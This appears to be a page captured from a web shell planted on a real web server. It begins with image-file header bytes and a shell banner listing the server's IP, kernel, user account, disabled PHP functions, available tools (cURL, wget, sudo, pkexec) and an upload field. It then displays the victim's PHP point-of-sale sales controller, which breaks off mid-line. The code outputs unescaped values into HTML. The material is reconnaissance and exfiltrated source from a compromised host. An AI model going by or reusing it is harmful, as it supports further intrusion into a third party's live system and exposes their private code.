����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.218.54.80 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/application/sales/ |
Upload File : |
<?php error_reporting(0); date_default_timezone_set("America/Mexico_City"); session_start(); require_once ("../model/dbconn.php"); require_once ("../model/pos.php"); function display_to_sql($date){ return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2); } $method=$_POST['method']; if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ) { $pos = new pos(); $menu = $pos->getSubMenuById(6); $menu_log = $menu[1]; //seleccionar registro existente de apertura de caja if($method == 'get_openingBox'){ $pos = new pos(); $array = $pos->getBox_open(); //print_r($array[1]['fondo']); $cash = $array[1]['fondo']; //ventas $posV = new pos(); $arrayV = $posV->getVentasBox(); $ventas = $arrayV[1]['ventas']; //consultar entradas de dinero $posI = new pos(); $Entradas = $posI->getEntradasBox(); $entrada=0; if(isset($Entradas[1]['entradas'])) { $entrada=$Entradas[1]['entradas']; }else{ $entrada = 0; } //consultar salidas de dinero $posO = new pos(); $Salidas = $posO->getSalidasBox(); $salida=0; if(isset($Salidas[1]['salidas'])) { $salida=$Salidas[1]['salidas']; }else{ $salida = 0; } $InCash = $entrada; $OutCash = $salida; //sumamos y restamos todo el efecitvo $total = ($cash + $ventas + $InCash) - $OutCash; if( is_null($cash) ){ $result['msg']="No Existe"; }else{ $result['msg']="Apertura Existe1"; } $result = array(); $result['result'] = $array[0]; $result['msg']=$result['msg']; $result['cash']= $cash; $result['sal']= $salida; $result['ent']= $entrada; $result['total']= $total; echo json_encode($result); } //save opening box if($method == 'save_opening') { $uniqid = $_SESSION['pos_uniqid']; $stock = $_SESSION['stock_id']; $user_id = $_POST['user']; $cash= $_POST['cash']; $status = 1; $created_at = date("Y-m-d h:i:s"); $created_at = strtotime ( '-1 hour' , strtotime ($created_at) ) ; $created_at = date ( 'Y-m-d H:i:s' , $created_at); $pos = new pos(); $insert = $pos->new_openingBox($stock,$cash,$user_id,$status,$created_at); $retval['result'] = $insert[0]; $retval['error']= $insert[1]; echo json_encode($retval); } //total sub if($method == 'get_subtotal'){ $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getSubTotalTempSale($kasir,$uniqid); $result = array(); $result['result'] = $array[0]; $result['subtotal']= number_format($array[1],2); echo json_encode($result); } //Guardar registro de entrada o salida de dinero if($method=='save_InOutCash'){ $uniqid = $_SESSION['pos_uniqid']; $stock_id = $_SESSION['stock_id']; $user_id = $_POST['user']; $cash= $_POST['cash']; $kind = $_POST['kind']; $concept = $_POST['concept']; $created_at = date("Y-m-d h:i:s"); $created_at = strtotime ( '-1 hour' , strtotime ($created_at) ) ; $created_at = date ( 'Y-m-d H:i:s' , $created_at); $pos = new pos(); $insert = $pos->new_InOut($concept,$cash,$kind,$user_id,$stock_id,$created_at); $first = display_to_sql($_POST['first']); $last = display_to_sql($_POST['last']); //consultamos ventas $pos = new pos(); $array = $pos->getTransSale($first,$last); //consultar ventas corte actual = null $posV = new pos(); $arrayV = $posV->getVentasBox(); //print_r($arrayV[1]['ventas']); //consultar devoluciones $posD = new pos(); $dev = $posD->getTransDev(); //print_r($dev[1][0]['suma']); //consultar pagos $posP = new pos(); $Pagos = $posP->getTransPay(); //consultar entradas de dinero $posI = new pos(); $Entradas = $posI->get_TranInDay($first,$last); //print_r($Entradas[1][0]['suma']); $entrada=0; if(isset($Entradas[1][0]['suma'])) { $entrada=$Entradas[1][0]['suma']; }else{ $entrada = 0; } //consultar salidas de dinero $posO = new pos(); $Salidas = $posO->get_TranOutDay($first,$last); $salida=0; if(isset($Salidas[1][0]['suma'])) { $salida=$Salidas[1][0]['suma']; }else{ $salida = 0; } $result['ventas'] =$arrayV[1]['ventas']; //saldo total $total2= ($arrayV[1]['ventas'] + $dev[1][0]['suma'] + $Pagos[1][0]['suma'] + $entrada) - $salida; $result['Dev'] = $dev[1][0]['suma']; $result['Pagos'] = $Pagos[1][0]['suma']; $result['Entradas'] = $entrada; $result['Salidas'] = $salida; $result['total'] = $total2; $retval['result'] = $insert[0]; $retval['error']= $insert[1]; //verificamos el ultimo folio $pos2 = new pos(); $insert2 = $pos2->folio_inout(); $folio = $insert2[1]['id']; $retval['id_inout'] = $folio; echo json_encode($retval); } if($method == 'get_subtotalOC'){ //buscamos el ultimo id de la tabla re y le sumamos uno $posR = new pos(); $resultR = array(); $queryR = $posR->getRe(); $dataR = $queryR[1]; //aumentamos en 1 para el proximo id $resultR['re_id'] = $dataR['id'] + 1; $uniqid = 0; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getSubTotalTempSaleOC($kasir,$uniqid); $result = array(); $result['result'] = $array[0]; $result['total']= number_format($array[1],2); $result['data']= $resultR['re_id']; echo json_encode($result); } //obtener todos los productos que se han ingresado al inventario if($method == 'get_res'){ //buscamos el ultimo id de la tabla re y le sumamos uno $posR = new pos(); $resultR = array(); $queryR = $posR->getRes(); $data = $queryR[1]; $i=0; foreach ($data as $key) { $total = $key['price'] * $key['stock'] ; $data[$i]['stock'] = '<a href="#" class="editparam" datatitle="Cantidad" dataparam="qty" val="'.number_format($key['stock'],2).'">'.number_format($key['stock'],2).' </a>'; $data[$i]['total'] = '<span class="csubtotal">'.number_format($total,2)."</span>"; $data[$i]['button'] = ' <button type="submit" id_item="'.$key['product_id'].'" class="btn btn-primary btndelete btn-sm" id="btndeletes'.$key['product_id'].'" ><i class="fa fa-remove"></i></button>'; $i++; } $datax = array('data' => $data); echo json_encode($datax); } //obtener operaciones de ventas por fechas if($method == 'get_trans_sale') { $first = display_to_sql($_POST['first']); $last = display_to_sql($_POST['last']); //consultamos ventas $pos = new pos(); $array = $pos->getTransSale($first,$last); //consultar ventas corte actual = null $posV = new pos(); $arrayV = $posV->getVentasBox(); //print_r($arrayV[1]['ventas']); //consultar devoluciones $posD = new pos(); $dev = $posD->getTransDev(); //print_r($dev[1][0]['suma']); //consultar pagos $posP = new pos(); $Pagos = $posP->getTransPay(); //consultar entradas de dinero $posI = new pos(); $Entradas = $posI->get_TranInDay($first,$last); //print_r($Entradas[1][0]['suma']); $entrada=0; if(isset($Entradas[1][0]['suma'])) { $entrada=$Entradas[1][0]['suma']; }else{ $entrada = 0; } //consultar salidas de dinero $posO = new pos(); $Salidas = $posO->get_TranOutDay($first,$last); $salida=0; if(isset($Salidas[1][0]['suma'])) { $salida=$Salidas[1][0]['suma']; }else{ $salida = 0; } $html=''; $result = array(); if($array[0] == true) { $i=1; $total=0; foreach ($array[1] as $key) { if($key['sts']== 0) { $html .= '<tr class="strikeout">'; $btn = 'Cancelada'; }else { $total = $total + $key['total']; $html .= '<tr >'; $btn = '<button type="submit" sale_id="'.$key['sale_id'].'" title="Cancelar Registro" class="btn btn-danger btn-sm btndeletesale " id="btndeletesale'.$key['sale_id'].'" name="" ><i class="fa fa-remove"></i></button>'; } $html .= ' <td class="tdstrike">'.$i.'</td> <td class="tdstrike" style="min-width:80px">'.$btn.'</td> <td class="tdstrike">'.date('d/m/Y',strtotime($key['sale_date'])).'</td> <td class="tdstrike">'.$key['sale_id'].'</td> <td class="tdstrike">'.$key['username'].'</td> <td class="tdstrike" style="text-align:right">$ '.number_format($key['paid'],2).'</td> <td class="tdstrike" style="text-align:right">$ '.number_format($key['total'],2).'</td> <td class="tdstrike">'.$key['note'].'</td> </tr>'; $i++; } $result['hasil'] = $html; $result['ventas'] =$arrayV[1]['ventas']; //saldo total $total2= ($arrayV[1]['ventas'] + $dev[1][0]['suma'] + $Pagos[1][0]['suma'] + $entrada) - $salida; $result['Dev'] = $dev[1][0]['suma']; $result['Pagos'] = $Pagos[1][0]['suma']; $result['Entradas'] = $entrada; $result['Salidas'] = $salida; $result['total'] = $total2; } echo json_encode($result); } if($method == 'get_trans_cot') { $first = display_to_sql($_POST['first']); $last = display_to_sql($_POST['last']); $pos = new pos(); $array = $pos->getTransCot($first,$last); $html=''; $result = array(); if($array[0] == true) { $i=1; $total=0; foreach ($array[1] as $key) { if($key['sts']== 1) { $html .= '<tr class="strikeout">'; $btn = 'Venta Realizada'; }else { $total = $total + $key['total']; $html .= '<tr >'; $btn = '<button type="submit" sale_id="'.$key['sale_id'].'" title="Convertir en Venta" class="btn btn-success btn-sm btndeletesale " id="btndeletesale'.$key['sale_id'].'" name="" ><i class="fa fa-check-circle"></i></button>'; } $html .= ' <td class="tdstrike">'.$i.'</td> <td class="tdstrike" style="min-width:80px">'.$btn.'</td> <td class="tdstrike">'.date('d/m/Y',strtotime($key['sale_date'])).'</td> <td class="tdstrike">'.$key['sale_id'].'</td> <td class="tdstrike">'.$key['username'].'</td> <td class="tdstrike" style="text-align:right">$ '.number_format($key['paid'],2).'</td> <td class="tdstrike" style="text-align:right">$ '.number_format($key['total'],2).'</td> <td class="tdstrike">'.$key['note'].'</td> </tr>'; $i++; } $result['hasil'] = $html; $result['total'] = $total; } echo json_encode($result); } if($method == 'get_trans_OC_pend') { $first = display_to_sql($_POST['first']); $last = display_to_sql($_POST['last']); $pos = new pos(); $array = $pos->getTransOC_P($first,$last); $html=''; $result = array(); if($array[0] == true) { $i=1; $total=0; foreach ($array[1] as $key) { $total = $total + $key['total']; $html .= '<tr >'; $btn = '<button type="submit" sale_id="'.$key['id'].'" title="Cargar Productos" class="btn btn-success btn-sm btnCargarOC_pend " id="btnCargarOC_pend'.$key['id'].'" name="" ><i class="fa fa-check-circle"></i></button>'; $html .= ' <td class="tdstrike">'.$i.'</td> <td class="tdstrike" style="min-width:80px">'.$btn.'</td> <td class="tdstrike">'.date('d/m/Y',strtotime($key['created_at'])).'</td> <td class="tdstrike">'.$key['id'].'</td> <td class="tdstrike">'.$key['user_id'].'</td> if('.$key['d_id'].' == 2){ <td class="tdstrike" style="text-align:right">pendiente</td> } <td class="tdstrike" style="text-align:right">$ '.number_format($key['total'],2).'</td> if('.$key['is_draft'].' == 2){ <td class="tdstrike">O.C. </td> } </tr>'; $i++; } $result['hasil'] = $html; $result['total'] = $total; $result['prueba'] ="Espere!"; } else{ $result['prueba'] ="Error"; } echo json_encode($result); } if($method == 'check_tempsale'){ $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getSubTotalTempSale($kasir,$uniqid); $result = array(); $hasil = $array[1]; if($hasil >=1){ $result['tempsale']=true; }else { $result['tempsale']=false; } echo json_encode($result); } if($method == 'check_tempsale4'){ $uniqid = 0; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getSubTotalTempSaleOC($kasir,$uniqid); $result = array(); $hasil = $array[1]; if($hasil >=1){ $result['tempsale']=true; }else { $result['tempsale']=false; } echo json_encode($result); } if($method == 'save_trans') { $sale_id = substr($_POST['sale_id'],0,7); $person_id = $_POST['id_client']; $sale_date = display_to_sql($_POST['sale_date']); $paid = $_POST['paid']; $f_pago1 = $_POST['f_pago1']; $f_pago2 = $_POST['f_pago2']; $total = $_POST['total']; $disc_prcn = $_POST['disc_prcn']; //opcion de multi almacen $disc_rp = $_POST['id_seller_ok']; //$disc_rp = $_POST['disc_rp']; $note = $_POST['note']; $uniqid = $_SESSION['pos_uniqid']; $id_user = $_SESSION['pos_id']; $id_seller = $_POST['id_seller_ok']; $pos = new pos(); $insert = $pos->saveSale($sale_id, $sale_date,$total,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$f_pago1,$f_pago2,$id_seller,$person_id); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['xsale_id'] = $insert[2]; echo json_encode($retval); } if($method == 'save_trans3') { $sale_id = substr($_POST['sale_id'],0,7); $sale_date = display_to_sql($_POST['sale_date']); $paid = $_POST['paid']; $id_client = $_POST['id_client']; $total = $_POST['total']; $disc_prcn = $_POST['disc_prcn']; $disc_rp = $_POST['disc_rp']; $note = $_POST['note']; $credit_amount = $_POST['credit_amount']; $uniqid = $_SESSION['pos_uniqid']; $id_user = $_SESSION['pos_id']; $pos = new pos(); $insert = $pos->saveSale3($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['xsale_id'] = $insert[2]; echo json_encode($retval); } if($method == 'save_trans4') { $sale_id = $_POST['sale_id']; $sale_date = display_to_sql($_POST['sale_date']); $paid = $_POST['paid']; $id_client = $_POST['id_client']; $total = $_POST['total']; $disc_prcn = $_POST['disc_prcn']; $disc_rp = $_POST['disc_rp']; $note = $_POST['note']; $credit_amount = $_POST['credit_amount']; $uniqid = 0; $id_user = $_SESSION['pos_id']; $pos = new pos(); $insert = $pos->saveSale4($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['xsale_id'] = "5886"; echo json_encode($retval); } if($method == 'save_trans5') { $sale_id = $_POST['sale_id']; $sale_date = display_to_sql($_POST['sale_date']); $paid = $_POST['paid']; $id_client = $_POST['id_client']; $total = $_POST['total']; $disc_prcn = $_POST['disc_prcn']; $disc_rp = $_POST['disc_rp']; $note = $_POST['note']; $credit_amount = $_POST['credit_amount']; $uniqid = 0; $id_user = $_SESSION['pos_id']; $pos = new pos(); $insert = $pos->saveSale5($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['xsale_id'] = "5886"; echo json_encode($retval); } //AGREGAMOS A LA TABLA TEMPSALE sin existencia if($method == 'save_temptable') { $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $id_item = $_POST['id_item']; $pos = new pos(); $result = array(); $query = $pos->getItem($id_item); $data = $query[1]; //print_r($data); $result['id_item'] = $id_item; $result['item_name'] = $data['item_name']; $result['barcode'] = $data['barcode']; $result['qty'] = 1; $result['unit'] = $data['unit']; $result['price'] = $data['price']; $result['discprcn'] = 0; $result['discrp'] = 0; $result['discrp'] = 0; //obtener los valorees para el paquete $result['type_prod'] = $data['type_prod']; $result['product_children'] = $data['product_children']; $result['qy'] = $data['qy']; $result['is_service'] = $data['is_service']; //revisamos promocion por producto $result2 = array(); $query2 = $pos->getPromo($result['barcode']); $data2 = $query2[1]; $result2['name'] = $data2['name']; $result2['tipo'] = $data2['tipo']; $result2['monto'] = $data2['monto']; $result2['product_id'] = $data2['product_id']; $result2['category_id'] = $data2['category_id']; $result2['client_id'] = $data2['client_id']; $result2['is_active'] = $data2['is_active']; $result2['created_ini'] = $data2['created_ini']; $result2['created_finish'] = $data2['created_finish']; $NombrePromo = $data2['name']; //comparamos si hay un producto dentro de las promos $operacion=0; if($result2['product_id']==$result['barcode']){ //revisamos que tipo es por porcentaje = 1 o cantidad = 2 if($result2['tipo'] == 1) { $result['discprcn']= $result2['monto']; }elseif($result2['tipo']== 2){ $result['price'] = $result['price'] - $result2['monto']; $result['discrp'] = $result2['monto']; }else { $result['price'] = $result['price']; $result['barcode']="ErrorPromo"; } } $check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']); $jum = $check[1]; //validamos precio mayor a cero if($result['price'] > 0 ){ if($jum >=1) { //verificamos que sea promo o paquete if($result['is_service']==3){ //M4g4ll4n3S $item = $result['product_children']; }else{ $item = $result['id_item']; } $update = $pos->updateTempSale($kasir,$uniqid,$item); $retval['result'] = $update[0]; $retval['error'] = $update[1]; $retval['promo'] = $NombrePromo; } else { //verificamos que sea promo o paquete if($result['is_service']==3){ //M4g4ll4n3S $item = $result['product_children']; $qtyOK = $result['qty']; $qy =$result['qy']; }else{ $item = $result['id_item']; $qtyOK = $result['qty']; $qy = 0; } $insert = $pos->saveTempSaleS($kasir,$uniqid, $item ,$result['barcode'],$result['unit'],$result['item_name'],$qtyOK, $result['price'], $result['discprcn'],$result['discrp'],$qy); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['promo'] = $NombrePromo; $retval['typeStok'] = "Sin Existencia"; } }else{ $retval['msg'] = "mal"; } echo json_encode($retval); } //metodo para agregar codigo de barras if($method == 'save_temptable2') { $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $id_item = $_POST['id_item']; $barcode = $id_item; $pos = new pos(); $result = array(); $query = $pos->getItem_BAR($id_item); $data = $query[1]; $result['id_item'] = $data['id_item']; $result['item_name'] = $data['item_name']; $result['barcode'] = $data['barcode']; $result['qty'] = $_POST['qty']; $result['unit'] = $data['unit']; $result['price'] = $data['price']; $result['discprcn'] = 0; $result['discrp'] = 0; //obtener los valorees para el paquete $result['type_prod'] = $data['type_prod']; $result['product_children'] = $data['product_children']; $result['qy'] = $data['qy']; $result['is_service'] = $data['is_service']; //revisamos promocion por producto $result2 = array(); $query2 = $pos->getPromo($result['barcode']); $data2 = $query2[1]; $result2['name'] = $data2['name']; $result2['tipo'] = $data2['tipo']; $result2['monto'] = $data2['monto']; $result2['product_id'] = $data2['product_id']; $result2['category_id'] = $data2['category_id']; $result2['client_id'] = $data2['client_id']; $result2['is_active'] = $data2['is_active']; $result2['created_ini'] = $data2['created_ini']; $result2['created_finish'] = $data2['created_finish']; $NombrePromo = $data2['name']; //comparamos si hay un producto dentro de las promos $operacion=0; if($result2['product_id']==$result['barcode']){ //revisamos que tipo es por porcentaje = 1 o cantidad = 2 if($result2['tipo'] == 1) { $result['discprcn']= $result2['monto']; }elseif($result2['tipo']== 2){ $result['price'] = $result['price'] - $result2['monto']; $result['discrp'] = $result2['monto']; }else { $result['price'] = $result['price']; $result['barcode']="ErrorPromo"; } } $check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']); $jum = $check[1]; //validamos precio mayor a cero if($result['price'] > 0 ){ if($jum >=1) { //verificamos que sea promo o paquete if($result['is_service']==3){ //M4g4ll4n3S $item = $result['product_children']; }else{ $item = $result['id_item']; } $update = $pos->updateTempSale($kasir,$uniqid,$item); $retval['result'] = $update[0]; $retval['error'] = $update[1]; $retval['promo'] = $NombrePromo; } else { //verificamos que sea promo o paquete if($result['is_service']==3){ //M4g4ll4n3S $item = $result['product_children']; $qtyOK = $result['qty']; $qy =$result['qy']; }else{ $item = $result['id_item']; $qtyOK = $result['qty']; $qy = 0; } $insert = $pos->saveTempSaleS($kasir,$uniqid, $item ,$result['barcode'],$result['unit'],$result['item_name'],$qtyOK, $result['price'], $result['discprcn'],$result['discrp'],$qy); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['promo'] = $NombrePromo; } }else{ //$retval['msg'] = "mal"; } echo json_encode($retval); } //metodo para agregar codigo de barras if($method == 'save_temptableAlt') { $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $id_item = $_POST['id_item']; $barcode = $id_item; $pos = new pos(); $result = array(); $query = $pos->getItem_ALT($id_item); $data = $query[1]; $result['id_item'] = $data['id_item']; $result['item_name'] = $data['item_name']; $result['barcode'] = $data['barcode']; $result['qty'] = $_POST['qty']; $result['unit'] = $data['unit']; $result['price'] = $data['price']; $result['discprcn'] = 0; $result['discrp'] = 0; //obtener los valorees para el paquete $result['type_prod'] = $data['type_prod']; $result['product_children'] = $data['product_children']; $result['qy'] = $data['qy']; $result['is_service'] = $data['is_service']; //revisamos promocion por producto $result2 = array(); $query2 = $pos->getPromo($result['barcode']); $data2 = $query2[1]; $result2['name'] = $data2['name']; $result2['tipo'] = $data2['tipo']; $result2['monto'] = $data2['monto']; $result2['product_id'] = $data2['product_id']; $result2['category_id'] = $data2['category_id']; $result2['client_id'] = $data2['client_id']; $result2['is_active'] = $data2['is_active']; $result2['created_ini'] = $data2['created_ini']; $result2['created_finish'] = $data2['created_finish']; $NombrePromo = $data2['name']; //comparamos si hay un producto dentro de las promos $operacion=0; if($result2['product_id']==$result['barcode']){ //revisamos que tipo es por porcentaje = 1 o cantidad = 2 if($result2['tipo'] == 1) { $result['discprcn']= $result2['monto']; }elseif($result2['tipo']== 2){ $result['price'] = $result['price'] - $result2['monto']; $result['discrp'] = $result2['monto']; }else { $result['price'] = $result['price']; $result['barcode']="ErrorPromo"; } } $check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']); $jum = $check[1]; //validamos precio mayor a cero if($result['price'] > 0 ){ if($jum >=1) { //verificamos que sea promo o paquete if($result['is_service']==3){ //M4g4ll4n3S $item = $result['product_children']; }else{ $item = $result['id_item']; } $update = $pos->updateTempSale($kasir,$uniqid,$item); $retval['result'] = $update[0]; $retval['error'] = $update[1]; $retval['promo'] = $NombrePromo; } else { //verificamos que sea promo o paquete if($result['is_service']==3){ //M4g4ll4n3S $item = $result['product_children']; $qtyOK = $result['qty']; $qy =$result['qy']; }else{ $item = $result['id_item']; $qtyOK = $result['qty']; $qy = 0; } $insert = $pos->saveTempSaleS($kasir,$uniqid, $item ,$result['barcode'],$result['unit'],$result['item_name'],$qtyOK, $result['price'], $result['discprcn'],$result['discrp'],$qy); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['promo'] = $NombrePromo; } }else{ //$retval['msg'] = "mal"; } echo json_encode($retval); } if($method == 'save_temptable3') { $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $id_item = $_POST['id_item']; $pos = new pos(); $result = array(); $query = $pos->getItem3($id_item); $data = $query[1]; $result['id_item'] = $data['id_item']; $result['item_name'] = $data['item_name']; $result['barcode'] = $data['barcode']; $result['price'] = $data['price']; //Consultar product $bar = $result['barcode']; $posP = new pos(); $queryP = $posP->getIdProduct($bar); $data2 = $queryP[1]; //id producto $resultP = $data2['id']; //barcode de producto $resultB = $data2['barcode']; //Consultar Compras $posC = new pos(); $queryC = $posC->getItemCompras($resultP); $data3 = $queryC[1]; $resultC = $data3['compras']; //Consultar Ordenes de Compras $posC2 = new pos(); $queryC2 = $posC2->getItemCompras2($resultB); $data3a = $queryC2[1]; $resultC2 = $data3a['Ocompras']; //SUMAMOS OC Y Compras $resultC= $resultC2 + $resultC; //Consultar Ajustes $posM = new pos(); $queryM = $posM->getItemMerma($resultP); $dataX = $queryM[1]; $resultM = $dataX['merma']; //Consultar Ventas $posV = new pos(); $queryV = $posV->getItemVentas($bar); $data4 = $queryV[1]; $resultV = $data4['ventas']; //Consultar Devoluciones $posD = new pos(); $queryD = $posD->getItemDev($resultP); $data5 = $queryD[1]; $resultD = $data5['dev']; //existencias actuales agregando ordenes de compra $resultE = $resultC - $resultV + $resultD - $resultM; $insert = $pos->saveTempSaleE($kasir,$uniqid,$result['id_item'],$result['barcode'],$result['item_name'],$result['price'],$resultC,$resultV, $resultD, $resultM, $resultE); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; echo json_encode($retval); } //pedidos if($method == 'save_temptable4') { $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $id_item = $_POST['id_item']; $barcode = $id_item; $pos = new pos(); $result = array(); $query = $pos->getItem_BAR($id_item); $data = $query[1]; $result['id_item'] = $data['id_item']; $result['item_name'] = $data['item_name']; $result['barcode'] = $data['barcode']; $result['qty'] = $_POST['qty'];; $result['unit'] = $data['unit']; $result['price'] = $data['price']; //Consultamos el precio costo y hacemos la diferencia para obtener la utilidad $bar = $result['barcode']; $posP = new pos(); $queryP = $posP->getIdProduct($bar); $data2 = $queryP[1]; //Costo de producto $PrecioCosto = $data2['price_in']; //utilidad $Utilidad = $result['price'] - $PrecioCosto; //agregamos los valores a la tabla temporal de ordenes de Comp $result['discprcn'] = $PrecioCosto; $result['discrp'] = $Utilidad; //buscamos el ultimo id de la tabla re y le sumamos uno $posR = new pos(); $resultR = array(); $queryR = $posR->getRe(); $dataR = $queryR[1]; //aumentamos en 1 para el proximo id $resultR['re_id'] = $dataR['id'] + 1; $check = $pos->getCheckProduk4($kasir,$uniqid,$result['id_item']); $jum = $check[1]; if($result['price'] > 0 ){ if($jum >=1) { $update = $pos->updateTempSale4($kasir,$uniqid,$result['id_item']); $retval['result'] = $update[0]; $retval['error'] = $update[1]; $retval['data'] = $resultR['re_id']; } else { $insert = $pos->saveTempSale4($kasir,$uniqid,$result['id_item'],$result['barcode'],"PZ",$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']); $retval['result'] = $insert[0]; $retval['error'] = $insert[1]; $retval['data'] = $resultR['re_id']; } }else{ $retval['msg'] = "mal"; } echo json_encode($retval); } if($method == 'reset_table'){ $uniqid = $_SESSION['pos_uniqid']; $iduser = $_SESSION['pos_id']; $pos = new pos(); $reset = $pos->resetTempSaleByUserSession($iduser,$uniqid); $retval['result'] = $reset[0]; $retval['error'] = $reset[1]; echo json_encode($retval); } if($method == 'reset_tableOC'){ $uniqid = 0; $iduser = $_SESSION['pos_id']; $pos = new pos(); $reset = $pos->resetTempSaleByUserSessionOC($iduser,$uniqid); $retval['result'] = $reset[0]; $retval['error'] = $reset[1]; echo json_encode($retval); } if($method == 'deletedetail'){ $id_item = $_POST['id_item']; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $delete = $pos->deleteTempSaleProduct($kasir,$uniqid,$id_item); $retval['result'] = $delete[0]; $retval['error'] = $delete[1]; echo json_encode($retval); } if($method == 'deletedetail4'){ $id_item = $_POST['id_item']; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $delete = $pos->deleteTempSaleProduct($kasir,$uniqid,$id_item); $retval['result'] = $delete[0]; $retval['error'] = $delete[1]; echo json_encode($retval); } if($method == 'deletedetail2'){ $id_item = $_POST['id_item']; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $delete = $pos->deleteTempSaleProduct2($kasir,$uniqid,$id_item); $retval['result'] = $delete[0]; $retval['error'] = $delete[1]; echo json_encode($retval); } if($method == 'get_mostrador'){ $item = "MOSTRADOR"; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $result = array(); $query = $pos->getClientMostrador($item); $data = $query[1]; $result['ClienteId'] = $data['id_cust']; $result['ClienteNombre'] = $data['name']; $result['result'] = $query[0]; echo json_encode($result); } if($method == 'updatedetail'){ //valor a cambiar $value=$_POST['nilai']; //columna a modificar $jenis = $_POST['jenis']; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); //valor de id de operacion interna de tabla temporal de ventas $key = explode('|', base64_decode($_POST['key'])); $id_item = $key[0]; $unit = $key[1]; if($jenis == 'hargajual' || $jenis == 'prices') { $update = $pos->updateTempSaleHargaSale($kasir,$uniqid,$id_item ,$value); } else if($jenis == 'qty') { $update = $pos->updateTempSaleQty($kasir,$uniqid,$id_item ,$value); } else if($jenis == 'disc') { $update = $pos->updateTempSaleDisc($kasir,$uniqid,$id_item ,$value); } else { echo 'error'; } $retval['result'] = $update[0]; $retval['error'] = $update[1]; echo json_encode($retval); } //ajustar cantidad a orden de compra por producto if($method == 'updatedetail4'){ //valor a cambiar $value=$_POST['nilai']; //columna a modificar $jenis = $_POST['jenis']; $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); //valor de id de operacion interna de tabla temporal de ventas $key = explode('|', base64_decode($_POST['key'])); $id_item = $key[0]; $unit = $key[1]; if($jenis == 'hargajual' || $jenis == 'prices') { $update = $pos->updateTempSaleHargaSale4($kasir,$uniqid,$id_item ,$value); } else if($jenis == 'qty') { $update = $pos->updateTempSaleQty4($kasir,$uniqid,$id_item ,$value); } else if($jenis == 'disc') { $update = $pos->updateTempSaleDisc4($kasir,$uniqid,$id_item ,$value); } else { echo 'error'; } $retval['result'] = $update[0]; $retval['error'] = $update[1]; echo json_encode($retval); } if($method == 'getdata' ){ $uniqid = $_SESSION['pos_uniqid']; $kasir = $_SESSION['pos_id']; $pos = new pos(); $array = $pos->getListTempSale($kasir,$uniqid); $data = $array[1]; //verificamos que se pueda bloquear el precio dependiendo del usuario $posUser = new pos(); $username = $_SESSION['pos_username']; $menu = $posUser->getUserMenu($username); $menu_log = $menu[1]; $id_menu = $menu_log['h_menu']; $id_user = $menu_log['id_user']; $name_user = $menu_log['username']; $array_menu = explode(",", $id_menu); $bandera = array_search('10', $array_menu); $i=0; foreach ($data as $key) { $keys = $key['id_item'].'|'.$key['unit']; $keys = base64_encode($keys); $total = ($key['price'] - ($key['price'] * $key['discprc'] /100) ) * $key['qty'] ; //condicion para ver si se bloquea cambio de precio if($bandera > 0){ $data[$i]['price'] = '<a href="#" align="center" class="editparam" key="'.$keys.'" datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> '; }else{ $data[$i]['price'] = 